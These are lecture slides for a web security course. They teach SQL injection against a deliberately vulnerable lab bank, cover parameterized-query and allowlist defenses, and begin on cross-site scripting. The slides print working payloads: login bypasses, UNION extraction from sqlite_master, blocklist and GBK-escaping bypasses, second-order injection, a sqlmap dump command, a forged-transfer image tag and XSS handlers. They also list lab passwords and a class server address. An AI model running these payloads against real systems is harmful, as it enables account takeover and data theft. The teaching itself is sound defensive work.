[+] GET carries data in the URL, POST in the body GETPOSTWhere does the data ride?In the URL, after ?In the bodyDoes it land in history and logs?Yes, the whole URLNo, only the pathWhat is it meant for?Reading somethingChanging somethingHow do you send it with curl?curl ".../search?q=x"curl -d "pw=x" .../loginFor an attacker, both are just text the client writes.DemoBank’s search uses GET and its login uses POST. We inject into both.Never put secrets in a GET URL: history, logs, and the Referer header all keep a copy.
[?] Why does GET still exist if POST can carry data? A GET fits in one link.You can bookmark it, share it,and open it again later.A cache can keep a GET’sanswer.The browser and the networkreuse it, so pages load fast.Reloading a GET isharmless.Reloading a POST asks first,because it may pay twice.Search engines follow GETlinks.They never submit forms, sothey never change anything.All four rely on one promise: a GET only reads. Anything that changes data must be a POST.Here is a careless bank that breaks the promise. Its transfer page is a GET.<img src="https://bank.example/transfer?to=mallory&amount=500">Any page can hide this image. Your browser sends the GET with your cookie, and the money moves.This is request forgery, the last attack of this unit. A POST alone does not stop it either.POST hides data from history and logs, not from an attacker, who sends a POST with curl just as easily.
[+] Then the server glues your text into SQL This is your browser.This is the internet.This is chase.com’s server.SQL injection hits step 6.1You type a URL.2DNS finds the server.3TLS locks the channel.4The request goes out.5The code runs.6It asks the database.7The page comes back.8The browser runs it.Steps 5 and 6: the server’s code turns your text into a database query.
[+] The server glues your text into two languages The request arrives.GET /search?q=mortgageThe code builds a database query.SELECT title FROM products WHERE title LIKE '%mortgage%'1This is crossing 1.The database returns the matching rows.Mortgage calculator. Mortgage rates.The code fills a page template.<p>Results for mortgage</p>2This is crossing 2.The page goes back to your browser.Results for mortgageYour word crossed into two other languages, SQL and HTML. Each crossing is one attack.
[+] A database keeps data in tables A database keeps data in tables. This one is called accounts.idnamebalanceemail1alice1250[email protected]2bob8240[email protected]3carol310[email protected]4dave40[email protected]Each column has a name and a type.Each row is one customer.Programs talk to the database in SQL, and they send it as plain text:db.execute("SELECT balance FROM accounts WHERE name = 'alice'")1250MySQL, PostgreSQL, SQLite, and Oracle are different products. They all speak SQL.The program writes SQL as text, and the database runs whatever text arrives.
[+] SELECT reads the rows that match WHERE SELECT balance FROM accounts WHERE name = 'alice'idnamebalance1alice12502bob82403carol3104dave401250Only Alice’s row matches.SELECT name FROM accounts WHERE balance > 1000 OR name = 'carol'idnamebalance1alice12502bob82403carol3104dave40Alice and Bob match the first condition.Carol matches the second. One true side is enough for OR.WHERE decides which rows come back. Control the WHERE, and you control the answer.
[+] Three more words change the table INSERT INTO accounts VALUES (5, 'eve', 0, ...)A new row appears for Eve.UPDATE accounts SET balance = 750 WHERE name = 'alice'Alice’s balance changes.DELETE FROM accounts WHERE name = 'carol'Carol’s row disappears.DELETE FROM accountsThere is no WHERE, so every row matches.idnamebalance1alice12502bob82403carol3104dave40Every write is limited by its WHERE. An attacker who can rewrite the WHERE can reach every row.
[!] Quotes are the only fence between data and code SELECT * FROM users WHERE name = 'alice' AND pw = 'hunter2' -- a noteBlue is code.The database runs it.Purple quotes mark where data starts and ends.They are the only fence.Orange is data.The database compares it and never runs it.Two dashes start a comment.The database ignores the rest of the line.Only the quotes separate data from code. Whoever controls a quote controls the query.
[?] How does a login page ask the database? login.py, the way a great many sites used to write itname = form["name"]pw = form["pw"]q = "SELECT name FROM users WHERE name = '" + name + "' AND password = '" + pw + "'"row = db.execute(q)if row: log_in(row)The double quotes " are Python syntax. They build the text, and they never reach the database.Alice types alice and hunter2. The code builds this text:SELECT name FROM users WHERE name = 'alice' AND password = 'hunter2'Her row comes back.The programmer wrote the blue part, quotes included.Alice’s text sits between the quotes.Nothing checks what Alice’s text contains. It is glued straight into the code.
[ Attack 1 of 3 ]

SQL injection turns
input into code

The database runs the attacker’s text as part of its query. We break in, pull data out, and then follow the defenses and their bypasses.

[+] We study SQL injection through four questions 1. What is the bug?One quote turns data intocode.2. What can theattacker do?Log in as anyone, and readevery table.3. How do we stop it?We follow each defense andits bypass.4. Where else does ithappen?It also breaks NoSQL,shells, and paths.We answer them in this order. Each question ends where the next one begins.
[+] We attack DemoBank, a bank built to be broken This is DemoBank’s login page.Each of you gets a private copy on our classserver.It makes every classic mistake on purpose.Every screenshot and terminal you will see isreal output.It stores passwords in plain text, so resultsare easy to read.Its login code is exactly the one we just read:SELECT name FROM users WHERE name = '...' AND password = '...'Scan this code for your own copy.165.22.35.184:54332Every attack in this unit runs against DemoBank for real, and you can repeat each one.

? What happens if someone types ' OR '1'='1' -- as the name?

[x] One quote turns the name into code The code glues the attacker’s text in, exactly as it glued Alice’s.SELECT name FROM users WHERE name = '' OR '1'='1' --' AND password = 'anything'Now read it the way the database reads it.SELECT name FROM users WHERE name = ''The attacker’s first quote closes the data. The name is empty.OR '1'='1'This part is now code. One is always equal to one.-- ' AND password = 'anything'Two dashes turn the rest into a comment. The password check is gone.So the database runs this query:SELECT name FROM users WHERE name = '' OR '1'='1'The WHERE is true for every row, so every user comes back.The code sees that a row came back and logs the visitor in as the first user, who is Alice.
[+] The attacker changed the shape of the query The programmer meant this tree.WHEREAND==namedata 1passworddata 2The user may fill the two orange leaves. Whatever goes in a leaf iscompared, never run.The attacker’s text built this tree.WHEREOR==name'''1''1'The password branch is gone, and a new branch that is always truetook its place.This is the definition of SQL injection.User input changes the structure of the query, not just the values in it.The fix will have to keep the tree fixed, whatever the user types.Remember this picture. It explains which defenses work and which ones only seem to.
[x] The payload logs into DemoBank for real I typed the payload into DemoBank’s login form.This is what came back.The attacker can also pick the victim.$ curl -d "name=admin' --&pw=x" http://localhost:8001/login<h2>Welcome, admin!</h2>admin' -- closes the name and comments out the password check, sothe attacker is logged in as admin.The attacker needed no password at all, only a user name, or not even that.The quote and the two dashes are the whole trick.Login pages are the classic target because they always send user text into a query.But every place where user text reaches a query is a target: search, filters, sorting, and even cookies.The next slide shows this exact payload breaking into a real system in 2024.
[x] In 2024, a quote opened the airport cockpit list Ian Carroll, ian.sh/tsa, August 29, 2024.Known Crewmember lets airline pilots and flight attendants skipairport security screening. CASS lets them ride in the cockpit jumpseat.Small airlines manage their crews in a web app called FlyCASS.Ian Carroll and Sam Curry tried a quote on its login page.username: ' or '1'='1password: ') OR MD5('1')=MD5('1-> logged in as an administrator of Air Transport InternationalWith no further check, they added a made-up employee called Test TestOnlyand approved that person for both Known Crewmember and cockpit access.They reported it to the FAA and the operator on April 23, 2024.By May 7, the government confirmed FlyCASS was cut off from both systems.The payload is the one from our slides, from a classic attack first described in the late 1990s.The TSA disputed how much the bug allowed. The researchers answered those claims in their post.They confirmed the bug with sqlmap, a tool we meet soon.
[>] We practice in a four-level lab as we go http://165.22.35.184:54331Scan this code, or type the address.Pick one nickname, and use it for every level.In level 1, you log in asadmin.It opens after question 1.In level 2, you read ahidden table.It opens after the UNIONrecipe.In level 3, you get past ablocklist.It opens after defense 1.In level 4, you get pastescaping.It opens after defense 2.Levels 3 and 4 are the same bank after our first two defenses.Each level stays locked until we reach it. Then I show its password on a slide.
[>] Level 1 asks you to log in as admin Type this password on the level 1 page.magnet-cobalt-164http://165.22.35.184:54331/level1This code opens the lab.Log in to the staff portal as admin. Nobodytold you the PIN.It practices the tree from question 1. Start withthe warm-up payload, and read the error.DemoBank SQL injection lab!http://165.22.35.184:54331/level1You have 5 minutes. Submit the flag on the home page under your nickname.
[+] Level 1 needs the quote and the bracket closed Step 1: the warm-up payload breaks the query, and the error prints its shape.SELECT name FROM staff WHERE (name = '' OR 1=1 --') AND (pin = 'x')The comment also hides the closing bracket, so the database says: incomplete input.Step 2: close the quote and the bracket. That logs in as the first row.SELECT name FROM staff WHERE (name = '') OR 1=1 --') AND (pin = 'x')The page says: Welcome, alice. Only admin sees the flag.Step 3: name the row you want, then close the bracket.SELECT name FROM staff WHERE (name = 'admin') --') AND (pin = 'x')You are admin, and the page shows the level 1 flag.Read the query’s shape first. The payload must close everything the programmer opened.
[?] What can the attacker do with one injection? 1. What is the bug?One quote turns data intocode.2. What can theattacker do?Log in as anyone, and readevery table.3. How do we stop it?We follow each defense andits bypass.4. Where else does ithappen?It also breaks NoSQL,shells, and paths.A page that prints rows can print any table. Errors leak the query too.
[?] What could you type to see everyone’s password? Today, Alice types rent.rentSearchmemoamountdestrent october900landlordThe page shows her rent payment.Could some other text do this??Searchnamepasswordalicehunter2bobcorrecthorsecaroltr0ub4doradminS3cretAdm1n!The same page lists every password.The page prints whatever rows its query returns. The passwords sit in another table, called users.
[+] UNION stacks the rows of two queries Here are two ordinary queries on two different tables.SELECT memo, amount, dest FROM transfersWHERE owner = 'alice'It returns 3 columns.memoamountdestrent october900landlordcoffee5cafemortgage payment1100bankUNIONIt returns 3 columns.SELECT name, password, balance FROM usersnamepasswordbalancealicehunter21250bobcorrecthorse8240The database returns one table.memoamountdestrent october900landlordcoffee5cafemortgage payment1100bankalicehunter21250bobcorrecthorse8240Rule 1: both queries need the same number of columns.With 2 columns on one side, the database refuses.Rule 2: the column names come from the first query.So name is renamed to memo, and password to amount.UNION lets one query print rows from a second table, as long as the column counts match.
[+] ORDER BY sorts the rows by a column ORDER BY sorts the result. Here it sorts by amount.SELECT memo, amount, dest FROM transfers WHERE owner = 'alice' ORDER BY amountmemoamountdestcoffee5caferent october900landlordmortgage payment1100bankA number names a column by its position, so ORDER BY 2 sorts by amount too.Column 1 is memo, column 2 is amount, and column 3 is dest.This query has no fourth column, so ORDER BY 4 fails.SELECT memo, amount, dest FROM transfers ... ORDER BY 4Error: 1st ORDER BY term out of range - should be between 1 and 3ORDER BY n works only if the result has at least n columns. The first error reveals the count.
[x] Step one is counting the columns The attacker cannot see the query, so they measure it through the input field.DemoBank!http://165.22.35.184:54332/searchDemoBankSearch your transfersSearchThe query then ends like this:... memo LIKE '% %'Which n?What does the page show?1Rows come back.2Rows come back.3Rows come back.4Error: should be between 1 and 3.The first error comes at 4, so the query has3 columns.So the second SELECT must also return 3 columns.A helpful error message tells the attacker the shape of the query.
[x] UNION prints a table the page never meant to show The attacker types this into the search box:' UNION SELECT name, password, balance FROM users --This is DemoBank’s real search result.Every user’s name and password shows up as atransfer.This assumes we know the table is called users.Soon the database tells us its table names.Real sites store password hashes, so the attackercracks the weak ones offline.
[+] SQLite keeps a list of its own tables Every SQLite database has a built-in table that lists its tables.SELECT name, sql FROM sqlite_masternamesqlcommentsCREATE TABLE comments (id INTEGER PRIMARY KEY, author TEXT, body TEXT)transfersCREATE TABLE transfers (id INTEGER PRIMARY KEY, owner TEXT, memo TEXT, ...)usersCREATE TABLE users (id INTEGER, name TEXT, password TEXT, balance INTEGER)Each row is one table: its name, and the CREATE statement with every column.A SELECT can also return a constant. Every row then gets the same value.SELECT name, sql, 0 FROM sqlite_masternamesql0commentsCREATE TABLE comments (id INTE...0transfersCREATE TABLE transfers (id INT...0usersCREATE TABLE users (id INTEGER...0Now the result has three columns, the same as thesearch page. The 0 only fills a gap.A constant such as 0 or 1 is a filler. It makes the column counts match, nothing more.
[x] The database hands out its own map How did the attacker know there is a table called users, with a column called password?real output from DemoBank$ curl "localhost:8001/search?q=' UNION SELECT name, sql, 0 FROM sqlite_master --"comments CREATE TABLE comments (id INTEGER PRIMARY KEY, author TEXT, body TEXT)transfers CREATE TABLE transfers (id INTEGER PRIMARY KEY, owner TEXT, memo TEXT, ...)users CREATE TABLE users (id INTEGER, name TEXT, password TEXT, balance INTEGER)sqlite_master is SQLite’s list of tables, from the last slide.Count the columns, read the list of tables, then read any table.
[>] Level 2 asks you to read a table no page shows Type this password on the level 2 page.jungle-river-453http://165.22.35.184:54331/level2This code opens the lab.Somewhere in the bank’s database is a tablethat no page shows. Find the secret inside it.It practices the three steps we just saw: count thecolumns, read the map, and read the table.DemoBank SQL injection lab!http://165.22.35.184:54331/level2You have 8 minutes. Submit the flag on the home page under your nickname.
[+] Level 2 is the three-step UNION recipe Step 1: ORDER BY counts the columns. A fourth column does not exist.zzz' ORDER BY 4 --The error says: 1st ORDER BY term out of range - should be between 1 and 3.Step 2: sqlite_master is the map of every table, so we print it in three columns.zzz' UNION SELECT name, sql, 1 FROM sqlite_master --transfers CREATE TABLE transfers (id INTEGER PRIMARY KEY, owner TEXT, ...)users CREATE TABLE users (name TEXT, password TEXT)vault_a5d8 CREATE TABLE vault_a5d8 (id INTEGER, code_78 TEXT)The 1 is a filler. The search query has three columns and we need only two, so a constant fills the third.Step 3: UNION reads the hidden table, now that we know its name.zzz' UNION SELECT code_78, 1, 2 FROM vault_a5d8 --The first row of the result is the level 2 flag.Count the columns, read the map, then read any table. A table that no page shows is not hidden.
[x] Error messages show the attacker the whole query A customer called O’Brien searches for their own name.The apostrophe in the name ends the quote too early,so the query crashes. Many injection bugs are foundthis way.The error prints the whole query, so the attacker seesthe table, the columns, and the quotes.Never show database errors to users. Log them, and show a plain error page.
[x] An injection can also destroy data Randall Munroe, xkcd.com/327, October 2007, CC BY-NC 2.5.The son’s name ends the INSERT and starts asecond command.Robert'); DROP TABLE Students;--This works only where the database library runs several statements from one string.An injection inside an UPDATE or a DELETE needs no second statement. It can already reach every row.Injection can change and delete data, not only read it.
[x] A free tool does all of this automatically real output: sqlmap 1.10.10 against DemoBank$ sqlmap -u "http://localhost:8001/search?q=rent" --batch --dump -T users[INFO] target URL appears to have 3 columns in query[INFO] GET parameter 'q' is 'Generic UNION query (NULL) - 1 to 10 columns' injectablesqlmap identified the following injection point(s) with a total of 31 HTTP(s) requests:back-end DBMS: SQLiteTable: users+----+-------+---------+--------------+| id | name | balance | password |+----+-------+---------+--------------+| 1 | alice | 1250 | hunter2 || 2 | bob | 8240 | correcthorse || 3 | carol | 310 | tr0ub4dor || 4 | admin | 99999 | S3cretAdm1n! |+----+-------+---------+--------------+sqlmap is a free tool that doeseverything we did by hand.It found the injection and dumpedthe users table in 31 requests.An attacker needs no skill, only one injectable input. Scan only systems you may test.
[?] How do we stop SQL injection? 1. What is the bug?One quote turns data intocode.2. What can theattacker do?Log in as anyone, and readevery table.3. How do we stop it?We follow each defense andits bypass.4. Where else does ithappen?It also breaks NoSQL,shells, and paths.Each defense was really deployed, and each bypass really worked. Judge every one by the tree.
[+] Can we just block the dangerous words? Defense 1: reject any input that contains SQL words or symbols.The filter blocks these:' -- ; OR UNION SELECTDROP SLEEP' OR '1'='1' --The textbook payload is stopped.uNiOn/**/sElEcT name, password FROM usersMixed case and a comment slip past the list.The database runs them.5 || 1=1Here || means OR, and a number needs no quote.admin'#MySQL also starts a comment with #.The list also blocks real customers: O’Brien cannot sign up.A blocklist guesses what attacks look like. The attacker needs only one spelling it missed.
[x] A number in the query needs no quote to break Many queries put a number in the WHERE, with no quotes around it.q = "SELECT memo, amount FROM transfers WHERE id = " + request.args["id"]A normal request asks for transfer 5.SELECT memo, amount FROM transfers WHERE id = 5The attacker sends 5 OR 1=1, which contains no quote at all.SELECT memo, amount FROM transfers WHERE id = 5 OR 1=1Every transfer of every customer comes back.A number has no quotes around it, so blocking or escaping quotes does nothing here.Checking that the input really is a number stops this, if the developer remembers every time.
[>] Level 3 puts a blocklist in front of the bank Type this password on the level 3 page.spider-parrot-373http://165.22.35.184:54331/level3This code opens the lab.The bank from level 2 now rejects dangerouswords. Read the vault again, past theblocklist.It practices the blocklist slide and the numberslide. Both of them are in the code on the right.the defense code, as the level page shows itBLOCKED = ["'", '"', "--", "#", ";", " ", "UNION", "union", "SELECT", "select", "OR", "or", "FROM", "from"]if any(bad in id for bad in BLOCKED): return "Blocked: that looks like an attack."query = ("SELECT memo, amount FROM transfers " "WHERE owner = 'alice' AND id = " + id)The list is the first defense from our slides. The query putsa number in the WHERE, with no quotes.You have 8 minutes. Submit the flag on the home page under your nickname.
[+] Level 3 needs no quote and other spellings Step 1: the id is a number, so the payload needs no quote. But the space is blocked.2 OR 1=1Blocked: your input contains a space.Step 2: a comment works as a space in SQL. Now the word OR is blocked.2/**/OR/**/1=1Blocked: your input contains "OR".Step 3: SQL ignores case, and the list does not.2/**/oR/**/1=1Every transfer comes back, so the filter is beaten.Step 4: the vault from level 2 holds a new code.0/**/UnIoN/**/SeLeCt/**/code_78,1/**/FrOm/**/vault_a5d8The first row of the result is the level 3 flag.The list guessed a few spellings, and SQL accepts many more. A tab or a new line works as a space, too.
[+] Escaping turns quotes into plain characters Defense 2: put a backslash before every quote, so the database reads it as a plain character.name = addslashes(form["name"]) # PHP; also mysql_real_escape_stringO’Brien works now.WHERE name = 'O\'Brien'The backslash says that this quote is data.The textbook payload stays inside the string.WHERE name = '\' OR \'1\'=\'1\' --'Every quote is escaped. The tree is safe.Escaping works only if every value is escaped, every time, in every character set.The next slides break it twice: once with a character set, and once with a stored name.Escaping still glues data into code. It only tries to make the data harmless first.
[x] A Chinese character can swallow the backslash The attacker sends two bytes.BF27BF alone is not a character.27 is a quote.addslashes reads one byte at a time and putsa backslash before the quote.BF5C275C is a backslash.The quote looks escaped.The database reads GBK, so it takes BF andthe next byte as one character.縗27The backslash became half of 縗.The quote is free.In GBK, a byte from 81 to FE starts a two-byte character, and 5C is a legal second byte.The escaper saw three characters. The database saw two.The escaper and the database read the same bytes differently, so the backslash disappears.
[+] UTF-8 and placeholders close this hole In GBK, 縗 is the bytes BF 5C. Its second byte isthe backslash byte.BF5C= 縗In UTF-8, 縗 is E7 B8 97. Every byte of it is 80or more.E7B897= 縗So in UTF-8, a 5C byte is always a backslash, and a 27byte is always a quote.Python shows the attack with real bytes:real output, Python>>> raw = b"\xbf\x27 OR 1=1 -- ">>> escaped = raw.replace(b"'", b"\\'") # what addslashes does>>> escaped[:3].hex(" ")'bf 5c 27'>>> escaped.decode("gbk")"縗' OR 1=1 -- "MySQL and PostgreSQL fixed their escaping functions in 2006to follow the connection’s character set.It still breaks if the code switches the character setwithout telling the escaper.The lasting fix is a placeholder: then no byte of the data is ever parsed as code.
[x] A payload can wait in the database for weeks Day 1: the attacker signs up with a strange user name.admin'--The signup code escapes the name, so the INSERT is safe.The database stores admin’--.Day 30: the attacker changes their password.The code reads the name back from its own database and trusts it.UPDATE users SET password = 'pwned' WHERE name = 'admin'--'The quote closes the name early, and the dashes hide the rest. The admin password changes.This is second-order injection. The first query was safe; the second trusted stored text.But the name was escaped. Where did the backslash go? The next slide follows it.Text that a user once typed is still user text, even when it comes back from your own database.
[x] The backslash never reaches the database’s storage 1Day 1: the attacker signs up with this name.admin'--2The signup code escapes it, so the INSERT text gets a backslash.INSERT INTO users (name) VALUES ('admin\'--')The backslash says: this quote is data.3The database reads the backslash, then stores the name without it.admin'--The backslash is used up. It is never stored.4Day 30: the password code reads the name back and glues it in, unescaped.UPDATE users SET password = 'pwned' WHERE name = 'admin'--'No backslash this time, so the quote ends the name early.Escaping happened once, on the way in. Nothing escaped the name on the way back out.Escaping protects one query. Placeholders protect every query, even ones that read stored text.
[>] Level 4 escapes every quote on the way in Type this password on the level 4 page.pencil-jungle-915http://165.22.35.184:54331/level4This code opens the lab.The bank replaced the blocklist with escaping.Log in as admin anyway.It practices the escaping slide and the slide aboutpayloads that wait in the database.the defense code, shortened from the level pagedef esc(s): # SQLite writes ' as '' return s.replace("'", "''")# Sign up: the name is escaped, so this is safe.db.execute("INSERT INTO users VALUES ('" + esc(name) + "', '" + esc(pw) + "')")# Change password: the name comes from our own# database, so it must be safe... right?me = name_of_the_logged_in_user()db.execute("UPDATE users SET password = '" + esc(new) + "' WHERE name = '" + me + "'")Every value that you type is escaped. Look for a value thatyou did not type in this request.You have 10 minutes. Submit the flag on the home page under your nickname.
[+] Level 4 stores the payload first and uses it later 1Sign up with this name, and the password x.admin' --2The signup code escapes the name. In SQLite, two quotes in a row mean one quote.INSERT INTO users VALUES ('admin'' --', 'x')The doubled quote is data, so this INSERT is safe.3The database stores the name with one quote. Log in with it.admin' --You are logged in as this strange user, not as admin.4Change your password to mine. The code reads your name back and glues it in raw.UPDATE users SET password = 'mine' WHERE name = 'admin' --'The quote ends the name, and the dashes hide the rest. So this changes admin’s password.5Log out, and log in as admin with the password mine. The level 4 flag appears.Escaping guards the way in. Text from your own database is still user text.
[+] Last time, we answered two of four questions 1. What is the bug?One quote turns data intocode.2. What can theattacker do?Log in as anyone, and readevery table.3. How do we stop it?We follow each defense andits bypass.We stopped in the middle of this one.4. Where else does ithappen?It also breaks NoSQL,shells, and paths.Today we finish SQL defenses, apply the rule elsewhere, and begin XSS.
[+] Recap: one quote changed the shape of the query The attacker typed this as the name.DemoBank!http://165.22.35.184:54332/loginDemoBankNameadmin' --Password••••••••Log inWelcome, admin!The code meant this tree.WHEREAND==namedatapassworddataThe attacker’s text built this tree.WHERE=name'admin'password ...The two dashes turned the rest of the query into a comment, so thepassword check is gone.SQL injection happens when user text changes the shape of the query, not just its values.
[+] A prepared statement fixes the SQL tree first. 1. The database parses the SQL.SELECT name FROM usersWHERE name = ?=name?The ? is a placeholder for one namethat arrives later.2. The app binds one value.("admin' --",)=name"admin' --"The name fills that slot withoutchanging the SQL.Python passes the SQL and name as separate arguments.cur = conn.cursor()cur.execute("SELECT name FROM users WHERE name = ?", (name,))3. The database runs the fixed tree.0 matching rowsThe quote and dashes stay inside thatone value.
[+] Allowlists control SQL column and table names. A visitor chooses how to sort.sort = "by_amount"The request names an option.sort = "by_amount"The visitor controls this option, so the appchecks it."anything_else" -> rejectedThe app owns the SQL names.SORT = {"by_memo": "memo", "by_amount": "amount"}column = SORT[sort]Only a listed option returns a column name.sql = "SELECT memo, amount FROM transfers ORDER BY " + columnThe result is ORDER BY amount.The visitor picks an option; the app supplies the SQL name.
[+] Defense in depth limits a missed SQL injection. Least privilege narrows databaserights.A report account may read rows but cannotdelete them.Generic errors hide query details.Users see "Request failed." The serverlogs the detail.Slow salted hashes protect storedpasswords.Leaked rows contain hashes rather thanplaintext passwords.A WAF may block known attackpatterns.It can miss new patterns, so the app stillneeds safe queries.Prepared statements and allowlists prevent SQL syntax changes.These other layers limit the impact when a query is missed.

? SQL injection attacked the server. What if the attacker’s text lands in a page that other people open?

[+] Next, your text comes back inside a page This is your browser.This is the internet.This is chase.com’s server.Cross-site scripting hitssteps 7 and 8.1You type a URL.2DNS finds the server.3TLS locks the channel.4The request goes out.5The code runs.6It asks the database.7The page comes back.8The browser runs it.Steps 7 and 8: the server puts your text into a page, and the browser runs it.
[+] chase.com answers with rules, then the page curl -sv https://www.chase.com/ (Oct 26, 2026)HTTP/2 200content-type: text/html; charset=utf-8strict-transport-security: max-age=31536000x-frame-options: SAMEORIGINcontent-security-policy: frame-ancestors 'none'x-xss-protection: 1; mode=block<!DOCTYPE html><html lang="en"> ...HSTS, from the TLS unit, forces HTTPS for ayear.These two forbid other sites from framing thepage.X-XSS-Protection asked older browsers to blockreflected XSS. Chrome removed its filter: itcould leak data and be bypassed.Chase | Credit Cards, Mor…https://www.chase.com/The page is the body. The headers are rules the server gives your browser, and the server chooses them.
[?] How does the server put your name in a page? The template is HTML with holes in it.<h1>Hello, {{ name }}</h1> <p>Balance: ${{ balance }}</p>The data comes from the database:name = "Alice" balance = 1250The code produces this HTML:<h1>Hello, Alice</h1> <p>Balance: $1250</p>Chasehttps://www.chase.com/homeHello, AliceBalance: $1250One template greets millions of users. Search results, comments, and profiles are built the same way.The browser reads the finished page as HTML, including every part that a user typed.
[+] Sites repeat what users type, now or later Some text comes back right away, to you.You search for aword.The page says:results for thatword.Only you see it.Other text is saved and shown to all.You post acomment.The site saves it.Every visitor seesit.Search pages and error messages work this way.Comments, reviews, and profiles work this way.Now imagine the text is HTML. Who runs it, and when?Text shown right away reaches one victim. Text that is saved reaches every visitor.
[!] Both crossings break in the same way The data lands in SQL.WHERE name = 'O'Brien'The quote ends the data early.The rest becomes part of the query.The data lands in HTML.<p>Hi, <b>Bob</b></p>The tag ends the text early.The rest becomes part of the page.SQL injection attacks the server.Cross-site scripting attacks other users.Same mistake: the program glues data into code, and one special character ends the data.Two languages, two attacks, one mistake. The defenses will look alike too.
[+] The browser turns HTML into a tree, then a screen <html><body> <h1>Hello, Alice</h1> <p id="bal">$1,250</p> <form> <input name="to"> </form></body></html>This is the text that arrives.bodyh1p#balforminputThe browser builds this tree, the DOM.Chasehttps://www.chase.com/homeHello, Alice$1,250The screen is drawn from the tree.Change the tree, and the screen changes at once. Scripts are what change the tree.The screen shows the tree, not the text that arrived. That is why View Source and the screen can differ.
[+] A script can rewrite anything on the page three lines of JavaScript<script> const b = document.getElementById("bal"); b.textContent = "$0.00"; b.style.color = "red";</script>Beforechase.com/homeHello, Alice$1,250Afterchase.com/homeHello, Alice$0.00Nothing went to the server.The page changed itself.Every modern site runs JavaScript. The chase.com home page loads 13 script files.Each of them can rewrite anything on the page.Whoever runs a script in the page decides what the page shows and does.
[+] Code can enter a page through many doors Code can enter a page through many normal features:<script>alert(1)</script>It runs when the page loads.<img src="logo.png" onerror="alert(1)">It runs when something happens, here when the image fails to load.<a href="javascript:alert(1)">Click</a>It runs when you click the link.<svg onload="alert(1)">Many other tags have event handlers too.A filter that only blocks the word script misses most of the doors. Cross-site scripting starts here.
[!] innerHTML reads text as HTML, textContent does not A comment contains this exact string:<b>Hi</b><img src=x onerror="alert(1)">box.innerHTML = commentThe browser creates an HTML image.HiThe broken image fires onerror.box.textContent = commentThe browser creates plain text.<b>Hi</b><img src=xonerror="alert(1)">The same string becomes elements on the left and visible text on the right.Use textContent for untrusted text. It cannot create an image or run its handler.
[+] How does chase.com remember who you are? This is Alice’s browser.This is Chase’s server.POST /loginSet-Cookie: session=8f3a9c71GET /accountsCookie: session=8f3a9c71The session number leaves in a response and returns in a later request.
[?] Why does the server forget you? This is Alice.This is chase.com.POST /login name=alice, pw=hunter2Welcome, Alice.GET /accountsWho are you? Please log in.Each request arrives alone. HTTP has no memory of the one before.After login, every request must carry proof that says: I am the one who logged in.
[+] A session works like a coat check This is ticket 47.You hand over your coat and get ticket 47.It hangs on hook 47.The coat check writes: 47 is your coat.POST /login pw=hunter2Set-Cookie: session=8f3a9c71sessionuser8f3a9c71aliceGET /accounts Cookie: session=8f3a9c71The server finds Alice.The cookie is the ticket. The browser shows it on every request, and the server looks it up.
[?] What if the ticket says whose coat it is? A tempting shortcut: write the name.Cookie: user=aliceThe attacker edits it, as in CTF level 5.Cookie: user=bobThe server shows Bob’s balance.Real sites use a random number.Cookie: session=8f3a9c71e24bsessionuserexpires8f3a9c71e24balice17:40The number means nothing by itself.There are 2^128 possible numbers to guess from.The server keeps the meaning. The browser keeps only a random number that points to it.
[!] A session cookie is as good as a password session=8f3a9c71e24bWhoever shows this number is Alice. It is a bearer token, like cash.Steal it on the network.Firesheep did this in 2010. HTTPSended it.Steal it with a script in thepage.This is cross-site scripting, comingup next.Do not steal it. Make Alice’sbrowser use it.This is request forgery, after that.A session cookie is as good as a password. Every later attack wants it, or wants to borrow it.
[+] A cookie carries rules about where it may go The rules after the semicolons say where the cookie may go.Domain=chase.comEvery subdomain gets the cookie too.It matters for request forgery.Max-Age=31536000The cookie lives for one year.SecureThe cookie only travels over HTTPS.It ended Firesheep.HttpOnlyScripts in the page cannot read it.It matters for cross-site scripting.SameSite=LaxCross-site subrequests omit it; top-level GET links may include it.It matters for request forgery.This complete response header sets one cookie:Set-Cookie: session=8f3a9c71; Domain=chase.com; Path=/;Max-Age=31536000; Secure; HttpOnly; SameSite=LaxThe request sends only session=8f3a9c71; these attributes stay in the browser.
[?] What can a script in the page do? It can read the page’s cookies, unless they are HttpOnly.It can read every word on the page, including your balance.It can record every key you press, including your password.It can send requests to chase.com as you, cookie included.It can redraw the page, for example a fake login form.A script inside chase.com’s page has every power chase.com’s own scripts have. That is what XSS steals.
[!] XSS runs attacker code inside the trusted page The attacker posts a comment to a vulnerable Chase page.evil.io controls the comment.<img src=x onerror=alert(1)>Chase inserts it as HTML.Alice opens the Chase page.https://www.chase.comThe handler runs here.Code inside Chase’s page gets Chase’s permissions, whoever wrote it.
[x] XSS makes a browser run attacker-written code. An attacker supplies text.A site places it in a page.A visitor opens the page.XSS happens when that text becomes code in the visitor’s browser.
[+] XSS repeats the SQL injection mistake in a browser. SQL injection changes a query.data -> SQL parser -> queryXSS changes a page.data -> HTML parser -> scriptThe bug begins when a parser reads data as instructions.
[+] Four questions will guide our XSS investigation. Where did the textbecome code?What can that code do?Which defense keeps itas text?Where else can scriptsarrive?We will ask the same four questions that guided the SQL lecture.
[?] How does a search word become code? Level 1 begins with a search result that repeats your input.
[x] The search page reflects input into its HTML. An attacker shares a search URL.The server builds HTML.The browser parses it.html = "<b>" + q + "</b>"For q = "loan", the page sends <b>loan</b>.A search value becomes markup when the page inserts it raw.
[!] One tag changes the shape of the page. The intended page has a text leaf.<b>"mortgage"The injected page has a script node.<b><script>...</script>The critical change is the page tree, not the visible search word.
[>] Level 1 turns a search word into page code. Make the search preview call labSolved().The server puts your search word between bold tags.html = "<b>" + q + "</b>"Level 1 is open, but you must choose a nickname before solving.http://165.22.35.184:54333Choose one nickname and keep this browser open.You have 5 minutes. The preview shows your flag and the next play code.
[+] Level 1 turns search text into a script. The server places the search word into HTML.This input makes the isolated preview call labSolved().<script>labSolved()</script>"<b>" + q + "</b>""<b>" + escape_html(q) + "</b>"Encode the search word when it enters HTML.
[+] A saved comment can reach later visitors. One person posts a comment.The site saves it.Later visitors read it.html = "<div>" + saved_comment + "</div>"Saving the comment delays execution until a visitor loads the page.
[>] Level 2 shows a saved comment to a visitor. Save a comment that makes the visitor preview calllabSolved().The visitor page inserts the saved comment as HTML.html = "<div>" + saved_comment + "</div>"Level 1 shows this play code beside its flag.http://165.22.35.184:54333/level2Enter that code to open this level.You have 6 minutes. The preview shows your flag and the next play code.
[+] Level 2 runs a saved comment for a visitor. The saved comment becomes code when a visitor opens the page.This input makes the isolated preview call labSolved().<script>labSolved()</script>"<div>" + saved_comment + "</div>""<div>" + escape_html(saved_comment) + "</div>"Encode the stored comment when a visitor sees it.
